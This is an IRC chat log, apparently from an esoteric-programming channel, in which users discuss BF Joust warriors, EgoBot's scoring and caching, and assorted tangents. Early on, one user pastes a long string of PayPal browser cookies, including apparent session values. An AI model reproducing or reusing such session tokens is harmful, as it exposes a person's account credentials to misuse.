18:01:32 ehird, isn't PUT used in webdav iirc 18:01:37 or maybe I misremember 18:01:38 they have a genuine paypal link to buy the entire company 18:01:40 AnMaster: ais523:, you mean 18:01:44 err 18:01:44 yeahg 18:01:46 yeah* 18:01:47 ais523: that link doesn't work, it's user-specific 18:01:48 ais523: but yes 18:01:54 ehird: but I don't have a paypal account 18:01:59 so would it not work for me either? 18:02:02 ais523: session 18:02:05 ok 18:02:06 user as in person 18:02:08 as in agent 18:02:13 ais523: the author said that he'd probably refund any actual transactions :-P 18:02:17 ais523, which company 18:02:19 so why can't you steal my session by following the link? IP-based? 18:02:24 thus demonstrating he could never own the lottery 18:02:26 AnMaster: the S4 people 18:02:27 ais523: cookie-based? 18:02:38 hmm... cookies /and/ URL seems redundan 18:02:38 ais523, I'm afraid I missed who S4 were 18:02:40 *redundant 18:02:43 AnMaster: SCROLLBACK! 18:02:46 SCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKSCROLLBACKDSKJFHKSDFKSDJFS 18:02:49 ehird, no time. 18:02:57 aaaaaaaaargh 18:03:00 -!- tombom has joined. 18:03:01 so just waste OUR time instead?! 18:03:10 because clearly only -your- time is valuable 18:03:18 ehird, a short one line summary would be enough 18:03:31 Apache=147.188.254.232.327301199300722205; KHcl0EuY7AKSMgfvHl7J5E7hPtK=K1qt0zJ42nOKrHXQ512V7BuFW5fs_zXxwdkA8IlYo00HhjwGiO42drcE6jsj5EHtVawXwNuuhXfQnm49; cookie_check=yes; jNS36F3v1LVZP8Qp0a2pJWhXNKy=mpG_l1Xk9WVVMJwKZVHh_9nI392FXiTNMVIAFRlmKad9qdQtn72dqh9D_3Ksf_3nREVnPjQCIKyE4epIJ6zrmi4ZEsW; LANG=en_US%3bUS; navlns=0; cwrClyrK4LoCV1fydGbAxiNL6iG=DctYoOYqVUNLQKpmwSnWT6mVvE5ZBi3RJ8UuNQw5FdKNngFlzJV1MaUVDLge9BcQPU-SGvT- 18:03:33 dqAUo3AQzWWvZ-IHZGNfi0Z7Aw_GC2pam5X39xkdFHQI7ggSNE53QMYBSeyAJ0%7cbqkyg7YNVpHIk_tGrE-68fFnc0kX79Qa913-xSLSZPAMHlyIubz_4wrZrNk2u9vRhHOv7W%7cIMMKtMGhuMz8vkVo7mLi9UQCNkMi6CQhsTCulqkVImjKunHUWsHfINxwd7vLcmfnTR_FYm%7c1243357268; navcmd=_xclick; pNTcMTtQfrJuaJiwEnWXQ6yNxfq=5mv9RU4DctpsQ9re8jiTEh_JImwBUbicIr7FvspGKVQe8hjrwdl_RlC99UYGDLzzp3vd1gAmrIbXQqXt8oETB_fq6Ge1UBpjmfKeevJ8goC2hs5tc3KX_Ho1I6wIgIN0vjhyfY9ftf2FxLYIdIEu8bg7EBQXC- 18:03:34 TVzUYFXxJETr2tshK8PcCE4y5z5tFohs4wYca_1iIRds5Rz1VAhhu84PwLZYw_JAKatkZtmxn84zZYjC-TSp4nhXOFctIUj50m0BTwK8IVThZXxMZ-DgPVnkrX36pzZ4ZxTWdks-7k7i5p8Boqy0JoN-kIeG1qgV4uTn4ajaZP9ZNCsmGOsBCvXvC9cc68-moa-DQxi_oE_0OpF7tE; 6Vt_kuBZl8VlyHAqyfqTECtzKXS=4FmsD86w5SZMRES5DmDJOUf8i2MUEbgVvNrxy-YD1bl1DQlvynIlaY86brrCYbUQzov9tNBAz90bxc47 18:03:40 what brilliant cookies PayPal have! 18:03:47 ais523: don't do that, you'll use up all of AnMaster's scrollback 18:03:48 I only know of one S4... And that is an ACPI sleep state 18:03:51 he only has three lines, after all 18:04:07 bbl 18:05:54 * kerlo also bbls. 18:10:35 * oerjan buys baby lizards 18:10:58 oerjan: you're going to have trouble looking after them when they grow up! 18:11:22 * oerjan notes that wasn't a fact 18:11:25 ais523: but I AM right back! 18:11:43 -!- bsmntbombdood has quit (Success). 18:11:59 actually lizard pets are illegal in norway 18:12:04 unless they changed it 18:12:10 oerjan: do you know why? 18:12:19 They're like scaly ferrets 18:13:10 Ferrets are cute 18:13:13 ais523: norway has (almost?) no native lizards, i guess is the rationalization 18:13:17 Discuss 18:13:34 oerjan: ah, to prevent them disrupting the ecosystem? 18:13:54 ais523: maybe. there is a movement to change the law though. 18:14:07 what a fun law to challenge 18:14:10 LEGALIZE LIZARDS 18:14:31 "I will prove that anything written in a higher-level language will not be as fast as my implementation of it in C. I leave this challenge out to anyone to take. (*)" 18:14:35 Kill stupid. Kill stupid. 18:14:42 Override mode activated. Kill target sequence initiated. 18:15:59 -!- bsmntbombdood has joined. 18:17:16 ais523: actually that's probably not a real reason, as the reason we only have 5 (googled) native reptile species in norway is that it's too cold for others to survive 18:17:24 :DD 18:18:16 many think the law is stupid. but then occasionally there is a news item about someone's (illegal) snake growing too big for them... 18:18:45 int fact_table[] = { 1, 1, 2, 6, 24, 120, 720, 5040, 40320, 362880, 39916800, 479001600 }; 18:18:46 #define factorial(n) fact_table[n] 18:18:57 ↑ most efficient factorial implementation over 32-bit integers :-) 18:19:01 well, maybe a switch/case could be faster 18:19:04 ehird: true dat 18:19:25 ofc, 32-bit is useless for anything involving numbers bigger than your average pony 18:20:07 "i'm not a number, i'm a free pony!" 18:20:21 ais523: so you mentioned slashdot and I tried to read the comments of a post about lisp 18:20:35 and people called it LISP, were ignorant about how it can be faster than C in many cases, 18:20:37 so on and so forth 18:20:41 then I gave up 'cuz it's worse than reddit. 18:20:44 Slashdot is an interesting mix 18:20:45 thanks for that :P 18:20:50 you do get very interesting comments from time to time 18:20:53 but there's a lot of junk too 18:20:58 i didn't really see any gems 18:21:01 * ehird shrug 18:21:08 they're normally good at checking whether the story is true or not 18:22:14 [[The service is going to feature in a new unscripted series that will "harness Twitter to put players on the trail of celebrities in an interactive, competitive format". No, I am not sure what that means and there are no further details as yet. ]] 18:22:22 Twitter... TV... shoh god. 18:22:51 wow, that's even worse than the fictional deliberately bad reality TV program that's the centrepiece of BlogNomic at the moment 18:23:23 ais523: you have to work http://picoup.com/ into it somehow, then 18:23:30 what is that site? 18:23:39 ais523: Twitter except you only get 18 characters 18:23:44 haha 18:23:46 plus one @user for free 18:23:49 why? 18:23:56 as a joke, or as a serious attempt? 18:23:59 former 18:24:09 ais523: if 18 is too verbose for you, http://femto.picoup.com/ lets you have a character and a user reference 18:24:25 express your feelings like @user !, @user ? and @user … 18:24:31 (that's one character) 18:25:06 I like the random usernames feature 18:25:17 apparently I'm ImpulseLeast 18:25:26 how would you log on with the same name in future? 18:25:37 ais523: if you click change it (with JS), you can give it a password 18:25:43 yes 18:25:45 but I mean, without 18:25:50 but you can't use a nick that isn't either (a) automatically assigned, (b) registered 18:25:58 and I assume it doesn't generate already registered nicks 18:26:13 also, any way to follow anyone in particular there? 18:26:24 if you click a nick there's a watch link 18:26:44 hmm... well, it might catch on 18:26:57 perhaps :P 18:37:25 and storing a litre isn't that hard <-- literally trivial 18:38:51 groan 18:41:15 http://timesonline.typepad.com/technology/2009/05/new-iphone-2009-a-possible-checklist.html ← "And a pony" 18:42:38 * oerjan sees no pony and feels cheated. 18:46:50 -!- jix_ has joined. 18:47:54 ehird: Any idea how to to do an arrow with the compose key? 18:48:08 pikhq: AltGr-I gives → for me 18:48:22 ais523: I don't have no stinking AltGr. 18:48:23 pikhq: Nope, I just did it the macfag way and made a keyset file with the characters I want triggered on control-option- 18:48:32 ← = control-option-, for me (analogy with <) 18:48:55 * pikhq will have to futz with the compose configuration 18:49:09 Probably stick that on compose <- 18:49:35 … 18:49:41 ……………………… 18:50:04 ……… 18:50:10 ………………………………………… 18:55:16 http://namakajiri.net/diary/things-they-asked-me-in-the-us-visa-interview/en/ 18:58:46 -!- jix has quit (Read error: 113 (No route to host)). 19:02:46 -!- olsner has joined. 19:03:59 * ehird attempts to make a smaller typeface than http://en.wikipedia.org/wiki/3x3 19:06:39 * ehird concludes 'tis impossible 19:08:03 3x3? Jeeze. Tiny. 19:08:24 pikhq: yeah, but somehow still readable 19:09:22 -!- FireFly has quit ("Later"). 19:10:44 -!- FireFly has joined. 19:18:33 ais523: It does? >_O 19:18:41 GregorR-L: yes 19:18:52 because the list of programs is sorted in reverse order 19:18:54 from worst to best 19:18:59 then you eliminate all past the tenth place 19:19:15 Oh, I thought they were from best to worst! D-8 19:20:30 GregorR-L: >_< 19:20:32 WE HATE YOU :P 19:20:36 GregorR-L: Also, rewipe the hill. 19:20:40 Since it's all the worst programs now. 19:21:18 Done. 19:21:43 ais523: add impomatic_shortsword? 19:21:52 GregorR-L: oh, it'd be nice if you made it automatically prepend nickname_ to the programs 19:22:17 ehird: I don't have it on me 19:22:20 but I'll add some of mine 19:22:24 ais523: It takes a REALLY long time to timeout if the programs are unhappy :( 19:22:26 ais523: with ais523_ pls 19:22:45 !bfjoust ais523_attack5 [>[-]-.-.-.-.-.-] 19:22:46 Score for ais523_attack5: -1 (maximum 5) 19:22:59 !bfjoust ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000 19:23:00 erm, isn't that in the default hill? 19:23:07 ehird: no, that was attack/defend/fool 1 19:23:10 ah 19:23:23 Score for ais523_defend5: -1 (maximum 6) 19:23:24 GregorR-L: do you think you could do that nick_ prepending thing & rename the default programs to have ais523_? 19:23:30 that plus correct in-channel score reporting = heaven 19:23:35 more or less 19:23:52 I don't think the default ones should be renamed, they're just examples, but yeah, I can add that. 19:24:06 GregorR-L: er, they're ais523's base warriors 19:24:17 seems reasonable to prepend ais523_ to me. ais523? 19:24:24 Did you mean: pimpomatic shortsword 19:24:30 ehird: well, they are mine, but they're all pretty simple 19:24:41 They're like four characters long :P 19:24:44 well, okay, it's just "attack1" vs "ais523_attack5" 19:24:46 is pretty silly 19:25:18 !bfjoust impomatic_shortsword (>++>--)*2(>)*6([-[+]]>)*20 19:25:20 Score for ais523impomatic_shortsword: -1 (maximum 7) 19:25:29 FAIL 19:25:30 lolfail 19:25:32 GregorR-L: name_ 19:25:33 not name 19:25:36 Bad timing :P 19:25:38 otherwise we'll get impomaticimpomatic 19:25:39 very 19:25:51 I had just added name, then saved, then went "Oh yeah, name_". 19:25:59 There was about a five second span in there where it had name and not name_ 19:26:07 GregorR-L: once you've done that, fix the in-channel reporter, wipe the hill and we can get on with playing 19:26:08 <_< 19:26:10 GregorR-L: could you just rename the shortsword to the correct name on the hill? 19:26:21 Or that 19:26:25 But also correct in-channel score reporting! 19:26:34 -!- impomatic has joined. 19:26:49 impomatic: good timing 19:26:53 the hill is now the right way up 19:26:57 as of about 10 minutes ago 19:27:00 * impomatic grumbles about ( ) { and } in BF Joust! 19:27:07 impomatic: in what way? 19:27:07 impomatic: wut? 19:27:15 I'm writing an interpreter in asm! 19:27:22 GregorR-L: oi, rename ais523impomatic_ to impomatic_ kay? :P 19:27:26 impomatic: those are just abbreviations, you don't have to handle htem 19:27:35 but they make programs a lot faster 19:27:43 to execute, that is, realtime 19:27:45 rather than in ticks 19:27:46 ehird: Already done. 19:27:54 GregorR-L: oh, but the report didn't regenerate 19:27:56 * pikhq grumbles about (){} 19:28:02 ehird: No :P 19:28:07 * pikhq grumbles still more about (){}(); 19:28:14 ;p 19:28:39 GregorR-L: ok, remaining wishlist, ordered by importance first: (a) correct in-channel score reporting, (b) report doesn't disappear while regenerating, (c) timeouts don't take so long 19:28:46 first two can be fixed by you, last needs ais523 probably 19:28:50 Are names automatically added to submissions now? 19:28:56 impomatic: yes 19:28:57 impomatic: Yus. 19:29:13 A) If you want the actual final score, this can't be done, or at least not quickly, it'd be slooow. 19:29:27 B) This is actually a big PITA >_> 19:29:30 !bfjoust bigdecoy >(-)*9>(+)*9>>>>>>>[(+)*6[-]>+] 19:29:40 C) This I'd love to fix, AIS :P 19:29:45 Score for ais523_bigdecoy: -3 (maximum 7) 19:29:46 Err, GregorR-L. 19:29:48 (A) is very fixable 19:29:52 It counts wins as losses. 19:29:53 !bfjoust stranger >>>>>>>>>([[-][(-)*127(+)*127]]>)*20 19:29:55 and C) by my calculationsm, reducing the timeout to 20000 from 100000 should not affect too many programs 19:29:58 Just fix that, dammit. 19:30:00 Score for impomatic_stranger: -1 (maximum 8) 19:30:02 ehird: Oh, then it's ais523's fault :P 19:30:07 GregorR-L: And how is (B) a big pitter? 19:30:10 Just don't do > 19:30:14 do >tmp; mv tmp foo 19:30:26 ehird: I kill the process generating a report when a new report starts. 19:30:41 GregorR-L: "Don't do that" 19:30:45 ais523: fix (A) and (C), anyway :P 19:30:47 X_X 19:31:02 (B) probably isn't too important, but it's irritating having this trivial bug in-channel 19:31:08 while ($steps++ < 100000) { and print "Timeout." if $steps >= 100000; are the only two lines that need changing to fix (C) 19:31:08 and the timeouts are truly annoying 19:31:11 making (B) more annoying 19:31:20 I'm fixing A. 19:31:21 for (A), the current code appears to run the program each way round and see if the answer was the same 19:31:25 rather than looking at exit status 19:31:39 ais523: Right, because that's how FYB works :P 19:31:47 hmm, wait 19:31:51 ais523: if it can report score quickly 19:31:54 how come the report takes so long 19:32:01 ehird: because it runs all the programs against each other 19:32:02 oh, because then it runs every other combination 19:32:02 right 19:32:03 even the ones you didn't just add 19:32:08 maybe that should be cached somehow 19:32:15 !bfjoust simple [>[-]+] 19:32:16 Score for impomatic_simple: -1 (maximum 9) 19:32:46 if we're in ridiculous wishlist mode, why not post a link to the report in-channel when it's finished generating? 19:33:21 ais523: I looked in to caching it and started rewriting report in Python to get non-argh SQL bindings to cache in an SQLite database. 19:33:25 Then I went "ARGH TOO LAZY" 19:33:38 ... 19:33:40 cache in a database? 19:33:42 Why‽‽‽‽‽‽ 19:33:48 Just serialize some data structures. 19:33:50 "import pickle" done 19:34:04 * ais523 wonders why bigdecoy did so badly 19:34:08 Why don't more people use interrobang‽ 19:34:18 because you're using it inappropriately when you are? 19:34:35 !bfjoust shield (>--)*3>((+)*12(>-)*4<<<<)*9999 19:34:38 Timeout. 19:34:38 Draw! 19:34:41 Timeout. 19:34:41 Draw! 19:34:43 Timeout. 19:34:43 Draw! 19:34:43 Program 2's flag fell. 19:34:43 Player 1 wins! 19:34:49 Heh, whoops, forgot to get rid of that output :P 19:34:55 Awesome. 19:35:09 * GregorR-L makes it disappear. 19:35:35 Timeout. 19:35:35 Draw! 19:35:48 OK, must kill :P 19:35:50 Program 2's flag fell. 19:35:50 Player 1 wins! 19:36:00 !bfjoust bitchesdontknowboutwhichflagismine >+[-->+] 19:36:06 Score for ehird_bitchesdontknowboutwhichflagismine: -9 (maximum 11) 19:36:11 impomatic: how does your shield program work? 19:36:26 GregorR-L: is it fixed? 19:36:29 is -9 my actual score :D 19:36:42 I believe it's fixed, yes. 19:36:53 report so slow 19:37:43 ais523: not sure how it works, I've slept since I wrote it 19:37:47 haha 19:37:57 anyway, I just had a new idea for a defence program 19:38:03 or rather, an old one, but I figured out how to make it work 19:38:50 ehird: yes, your program really did do that badly 19:38:56 aww 19:39:04 ais523: run off the tape, I guess 19:39:16 Uh, hey GregorR-L. 19:39:16 ah yes, good point 19:39:26 58.26-9ehird_bitchesdontknowboutwhichflagismine.bfjoust 19:39:26 70.00-3impomatic_shield.bfjoust 19:39:26 and why the hey, now everything's working? 19:39:32 GregorR-L: That's not good ordering, yo. 19:39:40 That's not /right/ 19:39:41 ais523: actually, it's not 19:39:42 8 | + + + + + + + + + + + | 100.0| 11| impomatic_shortsword.bfjoust 19:39:43 ehird: it's ordered by "Score" 19:39:51 which seems to be something other than wins-losses 19:39:51 his program is so good that it fucks up the tabs 19:39:57 GregorR-L: add another tab after score 19:39:59 Oh wait, yeah, it's right. 19:40:19 you could avoid tab problems by always making the score 5 characters long 19:40:26 :-) 19:40:33 ehird: I don't understand, this output is exactly the same as FYB, and FYB is always aligned >_< 19:40:53 GregorR-L: Because,. 19:40:55 Score=100.0 19:40:58 All others are one char less 19:41:02 like say 97.2 19:41:08 It's how tab characters work. 19:41:12 You need another to pad out 19:41:28 just bring all the scores up to 5 chars with padding 19:41:33 ehird: But that one is aligned to where the top is. If that one was the problem, it would be the maligned one. 19:41:35 that way you could right-align them too at the same time, for free 19:41:42 Err, misaligned :P 19:41:46 It is the misaligned one, GregorR-L. 19:41:53 But what ais523 said. 19:41:54 ehird: the title is also 5 chars 19:42:02 so actually, it's correctly aligned, everything else is misaligned 19:42:06 heh 19:42:39 I'm just saying I don't understand because the code is the same but always comes out perfect for FYB :P 19:44:06 -!- Sgeo has joined. 19:45:34 Uh, GregorR-L. 19:45:35 http://codu.org/eso/fyb/report.txt 19:45:39 There aren't any 100.0s there. 19:45:45 So it's because no program is good enough. 19:46:03 ehird: But the 100 is the only one that's CORRECTLY aligned in bfjoust, LIKE I SAID 19:46:08 How about keeping an age for each program to keep track of how many successful challenges each one survives? 19:46:19 Then we could have a hall of fame ;-) 19:46:34 I have a mercurial log :P 19:47:49 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)"). 19:50:11 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)). 19:50:39 -!- Sgeo has joined. 19:50:55 !slashes http://oerjan.nvg.org/esoteric/slashes/counter3.sss 19:51:03 How come ehird's program scores more than shield? Ehird = 9 losses, 2 ties. Shield = 3 losses, 8 ties. 19:51:11 !help 19:51:11 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 19:51:13 'cuz it's terrible 19:51:13 ? 19:51:15 !yodawg a 19:51:18 !slashes abc 19:51:35 !show slashes 19:51:51 gah 19:52:12 Surely a tie should be worth more than a loss? 19:52:15 I hate collegeboard 19:52:16 I email them saying I don't remember what I put for my security question's answer. They email me asking for personal information. Among the information they're asking for: "Web Account Security Answer:" 19:52:25 Sgeo: I remember you saying that a few minutes ago in Sine too! 19:52:28 A tie is worth more than a loss. 19:52:34 Why not just crosspost everything you say to every IRC channel? 19:53:01 !slashes abc 19:53:08 It's about WHAT you tie or lose against. 19:53:19 GregorR-L: !slashes is not working :( 19:53:20 ehird, good idea! 19:53:29 impomatic: http://codu.org/eso/fyb/SCORES (same scoring used for this) 19:53:30 !echo hi 19:53:34 Sgeo: Grr. 19:53:53 !userinterps 19:53:53 Installed user interpreters: bct bfbignum chiqrsx9p choo echo google hello ook rot13 slashes yodawg 19:54:07 GregorR-L: previously i had a problem with it only giving the first line, it didn't use DCC 19:54:21 (although it worked with !show then) 19:54:39 Seems echo is equally screwy >_> 19:54:51 However, I'll have to get to that after I fix this :P 19:54:51 and yodawg 19:55:13 GregorR-L: fix the backslashes then too pretty please 19:55:33 oerjan: I haven't fixed that because I don't know where the bug is. 19:55:38 ic 19:56:06 !ook ++++++++[->++++++++<]>. 19:56:06 @ 19:56:12 oh _that_ works 19:56:42 LMAO 19:56:48 !yodawg `.hi 19:56:49 h 19:56:52 and that 19:56:57 !show echo 19:56:58 bf ,[.,] 19:57:05 !echo hi there! 19:57:13 huh 19:57:26 err, what's !yodawg? 19:57:33 unlambda in unlambda 19:57:38 ah 19:58:13 !addinterp echo_sh sh cat 19:58:13 Interpreter echo_sh installed. 19:58:21 !echo_sh Hi there! 19:58:22 Hi there! 19:58:34 -!- KingOfKarlsruhe has joined. 19:59:24 -!- oerjan has quit ("Later"). 20:00:40 Oh, undocumented instruction in BF Joust :-) 20:01:21 !bfjoust attack1 [>[-]+] 20:01:22 Score for GregorR-L_attack1: -3 (maximum 10) 20:01:47 impomatic: wut? 20:01:54 Ah, not undocmented I just didn't read the Wiki properly. 20:02:03 which one did you mean? 20:02:48 % 20:03:17 ah 20:03:26 I assumbed it was a * on the Wiki for some reason 20:03:56 09/05/26 19:32:07 !bf joust simple [>[-]+] 20:04:12 09/05/26 20:01:23 !bf joust attack1 [>[-]+] 20:04:15 Hmmm... :-P 20:04:30 cat attack1.bfjoust 20:04:33 [>[-]+] 20:05:15 impomatic: "!bf joust"? 20:05:19 what's up with your logs? 20:05:40 !bfjoust attack1a [>[+]-] 20:05:42 Score for ehird_attack1a: 2 (maximum 11) 20:05:50 !bf joust :p 20:05:52 I added the space in case egobot responded to what I pasted 20:05:59 impomatic: only at the start of a line 20:06:09 Ah okay 20:06:32 !bf joust ,[.,]!Hello, world! 20:06:36 !bf joust,[.,]!Hello, world! 20:06:44 hmm... input with ! no longer workd 20:06:45 *works 20:08:58 What is it, kill EgoBot day? 20:09:34 !bfjoust flux (>)*8(>[-]+)*21 20:09:35 Score for impomatic_flux: 4 (maximum 12) 20:10:19 OK, it now caches. 20:10:23 yay 20:10:24 !bfjoust flux_a_counteracting_monomorphism_cocktails (>)*8(>[+]-)*21 20:10:27 Score for ehird_flux_a_counteracting_monomorphism_cocktails: 6 (maximum 13) 20:10:33 \o/ 20:12:57 ais523: how do you shorten nests, again? 20:13:31 (a{b}c)%3 == aaabccc 20:13:41 even if a and c contain the matching halves of square brackets 20:14:18 !bfjoust kicks_ehird >---->++++>-->++(>)*4(>++[-]+)*21 20:14:19 Score for impomatic_kicks_ehird: 5 (maximum 9) 20:14:25 Gee, this is much faster with caching :P 20:14:30 ais523: what if I want n=0->a, n=1->[ab],n=2->[[ab]b], etc? 20:14:34 do I have to manually do that? 20:14:54 GregorR-L: can you remove score? pts seems so much more useful 20:15:02 ehird: no 20:15:18 ais523: oh? 20:15:23 that's ([{a}b])%5 20:15:25 or whatever 20:15:28 ... score is much better. Writing something that beats all the most useless programs but fails against any good ones shouldn't do well :P 20:15:41 GregorR-L: then make the in-channel thing report score 20:15:43 instead of points 20:16:16 I suppose now that report is caching, that's not wildly insane *sigh* 20:16:37 !bfjoust modernist_decorum ([{[]}+])%30 20:16:44 Score for ehird_modernist_decorum: -9 (maximum 10) 20:16:56 Wtf? 20:17:01 It should constantly defend its flag. 20:17:49 ais523: ([{[]}+])%blah is like [[[[[[]+]+]+]+]+], correct? 20:17:54 !bfjoust modernist_decorum [[[[[[[[[]+]+]+]+]+]+]+]+] 20:18:01 Score for ehird_modernist_decorum: -9 (maximum 10) 20:18:01 ehird: yes 20:19:06 ais523: so why does it fail? 20:20:20 !bfjoust elena_lady_of_the_french_moving_picture_association (>+)*8[[-].>] 20:20:29 Score for ehird_elena_lady_of_the_french_moving_picture_association: -8 (maximum 10) 20:20:41 i should probably spend more time coming up with the programs than their name 20:20:42 s 20:23:31 hey GregorR-L, what would I need to get a local version of the !bfjoust command? 20:23:42 working the same way, updating a local scoreboard, etc 20:23:46 I want to genetically evolve some proggies 20:23:57 !info 20:23:57 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 20:24:09 GregorR-L: That's... not helpful. At all. 20:24:18 Read scmds/bfjoust :P 20:24:39 GregorR-L: I don't want a version that commits to an hg repository and is hooked up to IRC, is the point. 20:25:16 ehird: The report program in interps/bfjoust does exactly what you need, without any hgism or whatnot. 20:25:21 ehird: all the programs needed are there 20:25:25 Oh. 20:25:26 there's glue to link them to IRC 20:25:27 That's nice, then. 20:25:28 but you can just not use it 20:28:12 % perl5.10.0 bfjoust 20:28:12 Both programs finished. 20:28:13 Draw! 20:28:15 :D 20:28:41 ais523: #!/usr/bin/perl 20:28:44 please fix that to #!/usr/bin/env perl 20:28:48 my perl5.10 didn't run on it 20:28:52 since it's in /opt/perl/bin 20:28:59 not everyone has control over their vendor :) 20:29:15 ehird: you could just run it with perl as a separate program 20:29:16 like you did above 20:29:19 yes, I could 20:29:21 but it's still a bug. 20:29:23 not all computers have env 20:29:29 ais523: ehm 20:29:31 yes they do 20:29:44 (I have Perl and not env on my Windows computer at home running under DJGPP; it ignores the path in #! lines but parses the program) 20:29:45 all UNIX-alikes and POSIX-alikes do, and Windows doesn't have /usr/bin 20:29:57 ais523: then what's in the #! line doesn't matter to it 20:30:01 yes it does 20:30:05 because it'd try to run env, not perl 20:30:18 ais523: then DJGPP is buggy 20:30:22 and 20:30:25 20:29 ais523: ehird: you could just run it with perl as a separate program 20:30:52 Incidentally, perl is particularly problematic since there's a flag you're always "supposed" to add, but #!/usr/bin/env perl can't add flags. 20:31:05 GregorR-L: no, you're not meant to use perl -w 20:31:08 you're meant to "use warnings;" 20:31:20 Oh :P 20:31:23 -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust 20:31:23 -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust.pl 20:31:27 Then I've been taught wrong oh noes 20:31:28 ais523: GregorR-L: errrrrrr. 20:31:33 Look at ais523 :P 20:31:35 dare I ask why? 20:31:45 ehird: "use warnings;" is scoped 20:31:56 ... 20:31:58 20:31 ehird: -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust 20:31:59 20:31 ehird: -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust.pl 20:32:00 ais523: why 20:32:09 % ./report 20:32:10 Use: report 20:32:10 ehird: so you can turn warnings on and off, obviously 20:32:13 GregorR-L: That's a remarkably unhelpful help 20:32:19 ais523: ARGH!! ARE YOU BLIND?!?!?! 20:32:21 20:31 ehird: 20:31 ehird: -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust 20:32:21 20:31 ehird: 20:31 ehird: -rwxr-xr-x 1 ehird staff 3500 26 May 20:27 bfjoust.pl 20:32:50 ehird: I noticed that, but aren't replying to it 20:32:55 ehird: cd programs; ../report ../bfjoust ../cache *.bfjoust 20:32:58 * amn't 20:32:59 (Cache dir must exist) 20:33:00 ais523: that was what my question was about 20:33:05 so why did you answer a question I didn't ask? 20:33:33 GregorR-L: Umm... and how do I get a certain program's score out of this? 20:33:46 Additionally, how can I get the latest scoreboard of programs? 20:34:17 Hold your horses. I'm saving scores to files now, the scoreboard is spit out stdout. 20:34:51 GregorR-L: x_x 20:35:32 Previously the scores were only in the stdout report, so don't complain :P 20:35:49 GregorR-L: So what do I need to do? 20:36:00 Wait ten minutes. 20:36:12 Wendyful 20:41:45 OK, re-pull. 20:41:48 Scores are saved in the cache. 20:41:52 foo.score 20:42:07 That's the best you'll get due to my crippling apathy :P 20:42:57 GregorR-L: So, cd programs; echo bitch>goddamn.bfjoust; ../bfjoust ../cache *.bfjoust; cat ../cache/goddamn.score? 20:43:27 Now, GregorR-L, some questions: Does this trim the hill to 10 items? How do I get the current scoreboard programs in here? 20:45:09 This does trim the hill, yes. That command is ../report ../bfjoust ../cache *.bfjoust, and the scoreboard is the output of report. 20:45:43 GregorR: No. I mean: how do I get the current egobot programs in there? 20:45:48 Oh 20:45:56 http://codu.org/eso/bfjoust/in_egobot/ 20:46:00 impomatic: have you got all your favorite warriors in EgoBot? 20:46:06 GregorR: Ew. Fine. 20:46:14 Just the two 20:46:21 impomatic: OK 20:46:34 GregorR: Will removing the hill-trimming code make, say, the program think a warrior is great while EgoBot gives it a low score? 20:46:39 i.e. will it bias my results 20:46:59 It could, but not by a lot, it gives more weight to beating programs that do well themselves. 20:47:20 What should I limit the hill to now? 10 is no longer necessary, and seems to small. 50 mebbe? 20:47:20 GregorR-L: I'm just wondering whether to evolve with or without the limited hill 20:47:55 ais523: i don't need to generate the ()/%/* stuff, right? I can just preprocess them in before sending the program to bfjoust 20:48:12 ehird: I would say fight against a static hill ... 20:48:20 ehird: That is, always delete your own. 20:48:25 (After a generation) 20:48:28 GregorR: err, but then I'll only beat the best one currently on the hill 20:48:39 OH, you want to evolve against yourself, right. 20:48:39 if I add mine to the hill, I come up with a strategy that beats the current crop, then beat that, etc 20:48:46 In that case, definitely keep them all. 20:48:48 Right. 20:48:58 GregorR: does that require intensive surgery? 20:49:00 Beating programs that don't do well doesn't earn you much score-wise. 20:49:08 Nope, just remove about five lines. 20:49:16 yay 20:49:20 Line 300 of report.c 20:49:35 It should be painfully obvious what to remove. 20:49:47 And yes, I know, that's gross, but report.c is a hack :P 20:49:52 GregorR: You said "without any hg stuff". 20:49:55 system("hg commit -m -"); 20:50:02 I assume that, then, is not "hg stuff"... 20:50:07 That's the only time report.c uses hg. I forgot about that because it shouldn't :) 20:50:11 Ah. 20:50:26 GregorR: which hg repo has the programs? 20:50:31 I don't want to download 'em manually. 20:50:31 An internal one. 20:50:34 ugh 20:50:47 wget -r -l inf -np http://codu.org/eso/bfjoust/in_egobot/ 20:50:57 I was just going to suggest wget, too 20:51:10 GregorR-L seems to have more wget-fu than me, but mine is good enough for something like that 20:51:11 GregorR: that ends up spidering the whole web 20:51:16 ehird: -np 20:51:25 ais523: it certainly downloads non-.bfjoust files 20:51:25 there's an option not to spider above where you start 20:51:34 ehird: yes, presumably it's the directory index in 20 different formats 20:51:37 it is 20:51:41 which kind of defeats the damn point... 20:51:53 meh 20:51:53 ehird: Good freaking lord, stop complaining and mv *.bfjoust 20:52:20 GregorR: i'm irritated 20:52:28 NORLY 20:53:25 GregorR-L: report is idempotent, right? 20:53:34 as in, running it without changing its args or the files will have no effect 20:53:40 % mkdir ../cache;../report ../bfjoust ../cache *.bfjoust 20:53:41 IDScorePtsProgram 20:53:42 00.000ais523_attack5.bfjoust 20:53:44 90.000impomatic_shortsword.bfjoust 20:53:46 80.000impomatic_kicks_ehird.bfjoust 20:53:48 GregorR-L: cool story bro 20:54:14 So long as you removed that deletion, yes. 20:54:29 Does ../bfjoust run? 20:54:29 GregorR-L: so everything's just lame huh 20:54:32 Oh. 20:54:37 No, because ais523 broke it. 20:54:55 ais523: and "perl ../bfjoust" doesn't work with gregor's report program 20:54:58 because it requires a filename 20:55:08 ais523: so what did 